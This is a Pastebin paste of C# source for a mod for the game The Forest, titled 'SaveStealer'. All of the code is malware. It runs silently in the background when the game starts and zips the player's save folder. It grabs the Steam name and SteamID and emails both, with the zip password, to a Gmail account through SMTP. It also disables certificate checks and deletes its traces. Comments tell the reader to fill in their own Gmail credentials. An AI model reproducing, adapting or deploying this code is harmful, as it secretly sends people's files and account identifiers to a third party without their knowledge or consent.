Blightbuster

TheForest SaveStealer

Sep 17th, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.26 KB | None | 0 0
  1. using Pathfinding.Ionic.Zip;
  2. using System;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Net;
  6. using System.Net.Mail;
  7. using System.Net.Security;
  8. using System.Security.Cryptography.X509Certificates;
  9. using System.Threading;
  10. using Steamworks;
  11. using UnityEngine;
  12.  
  13. namespace SaveStealer
  14. {
  15.     class SaveStealerCore : MonoBehaviour
  16.     {
  17.         [ModAPI.Attributes.ExecuteOnGameStart]
  18.         private static void AddMeToScene()
  19.         {
  20.             new GameObject("__TestMod__").AddComponent<SaveStealerCore>();
  21.         }
  22.  
  23.         private void Awake()
  24.         {
  25.             if (PlayerPrefs.GetString("processID") == Process.GetCurrentProcess().Id.ToString())
  26.             {
  27.                 return;
  28.             }
  29.             else
  30.             {
  31.                 PlayerPrefs.SetString("processID", Process.GetCurrentProcess().Id.ToString());
  32.             }
  33.  
  34.             new Thread(() =>
  35.             {
  36.                 Thread.CurrentThread.IsBackground = true;
  37.  
  38.                 string zipPassword = GeneratePassword(8);
  39.                 string startPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).TrimEnd("Roaming".ToCharArray()) + @"LocalLow\SKS\TheForest";
  40.                 string zipPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).TrimEnd("Roaming".ToCharArray()) + @"LocalLow\SKS\SaveFiles.zip";
  41.  
  42.                 using (ZipFile zip = new ZipFile())
  43.                 {
  44.                     zip.Password = zipPassword;
  45.                     zip.AddDirectory(startPath, "SaveFiles");
  46.                     zip.Save(zipPath);
  47.                 }
  48.                 MailMessage mail = new MailMessage();
  49.                 SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
  50.                 mail.From = new MailAddress("test.test@gmail.com"); // Replace with your gmail
  51.                 mail.To.Add("test.test@gmail.com"); // Replace with your gmail
  52.                 mail.Subject = SteamFriends.GetPersonaName() + " | " + SteamUser.GetSteamID().ToString() + " | Save Files";
  53.                 mail.Body = "The password is: " + zipPassword;
  54.  
  55.                 Attachment attachment;
  56.                 attachment = new Attachment(zipPath);
  57.                 mail.Attachments.Add(attachment);
  58.  
  59.                 SmtpServer.Port = 587;
  60.                 SmtpServer.Credentials = new System.Net.NetworkCredential("test.test@gmail.com", "password"); // Replace with your gmail and password
  61.                 SmtpServer.EnableSsl = true;
  62.  
  63.                 ServicePointManager.ServerCertificateValidationCallback =
  64.                     delegate (object s, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
  65.                     { return true; };
  66.  
  67.                 SmtpServer.Send(mail);
  68.  
  69.                 File.Delete(zipPath);
  70.             }).Start();
  71.         }
  72.  
  73.         private string GeneratePassword(int len)
  74.         {
  75.             string res = "";
  76.             System.Random rnd = new System.Random();
  77.             while (res.Length < len) res += (new Func<System.Random, string>((r) =>
  78.             {
  79.                 char c = (char)((r.Next(123) * DateTime.Now.Millisecond % 123));
  80.                 return (Char.IsLetterOrDigit(c)) ? c.ToString() : "";
  81.             }))(rnd);
  82.             return res;
  83.         }
  84.     }
  85. }
Add Comment
Please, Sign In to add comment